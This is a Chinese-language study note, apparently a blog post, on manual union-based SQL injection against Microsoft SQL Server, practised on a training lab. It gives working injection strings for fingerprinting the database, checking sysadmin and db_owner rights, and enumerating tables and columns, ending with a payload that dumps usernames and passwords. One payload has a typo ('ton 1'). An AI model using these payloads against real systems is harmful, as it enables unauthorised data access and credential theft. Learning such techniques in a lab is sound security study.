学习笔记十七:Mssql手注之联合查询注入

Mssql数据库

美国Microsoft公司推出的⼀种关系型数据库系统。SQLServer是⼀个可扩展的、⾼性能的、为分布式客户机/服务器 计算所设计的数据库管理系统,实现了与WindowsNT的有机结合,提供了基于事务的企业级信息管理系统⽅案。

其主要特点如下:

(1)⾼性能设计,可充分利⽤WindowsNT的优势

(2)系统管理先进,⽀持Windows图形化管理⼯具,⽀持本地和远程的系统管理和配置。

(3)强壮的事务处理功能,采⽤各种⽅法保证数据的完整性。

(4)⽀持对称多处理器结构、存储过程、ODBC,并具有⾃主的SQL语⾔。 SQLServer以其内置的数据复制功能、强⼤ 的管理⼯具、与Internet的紧密集成和开放的系统结构为⼴⼤的⽤户、开发⼈员和系统集成商提供了⼀个出众的数据库 平台。

Mssql数据库测试环境搭建

可以安装SQL Server 2008数据库

Mssql数据库的补充介绍

判断是否为Mssql数据库

and exists(select * from sysobjects) --

权限介绍

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等  system
  • db权限:文件管理,数据库操作等   users-adminstrators
  • public权限:数据库操作  guest-users

判断权限的语句

  • and 1=(select is_srvrolemember('sysadmin'))   //判断是否是系统管理员
  • and 1=(select is_srvrolemember('db_owner'))   //判断是否是库权限
  • and 1=(select is_srvrolemember('public'))         //判断是否为public权限

调用数据库的代码

<%

   set conn =server.createobject("adodb.connection")

   conn.open  "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"

%>

注入流程:

1.判断注入

'

and 1=1

and 1=2

2.字段长度

order by 数字    通过他的返回状况判断猜测的字段长度是否正确,若是错误会返回错误信息

3.寻找字符型显位

id=-2 union all select 1,2,3,4..   

id=-2是为了让它报错

后面的1,2,3,4..应该先用null,null,null,null来测试,然后用'1',null,null,null    null,'2',null,null  这样替换测试     如果测试结果有显位的话,说明该位置可以利用,该位置不变去猜下一个显位,这样我们就可以利用这几个显位来显示我们想要的数据,也就是把要查询的信息对应的语句放在我们找到的显位的位置

4.查询基本信息

1)@@version    获取版本信息;

2)db_name()     数据库名;

3)user,system_user,current_user,user_name    获取当前用户名;

4)@@SERVERNAME    获取有关服务器主机的信息。

5.查询表名

/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4   //查询第一张表的名字

/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4  //查询除去第一张表后的第一张表的名字,也就是第二张表的名字

/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4

6.获取列名

/new_list.asp?id=-2 union all select null,(select ton 1 col_name(object_id('manage'),1)from sysobjects),null,null   //object_id('要查询的表的名字'),1   这个1代表第一列

/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

7.获取数据

/new_list.asp?id=-2 union all select null,username,password,null from manage

 

ps:以上操作可在墨者学院靶场进行

posted @ 2021-12-10 11:46  Ling_Chen  阅读(248)  评论(0)    收藏  举报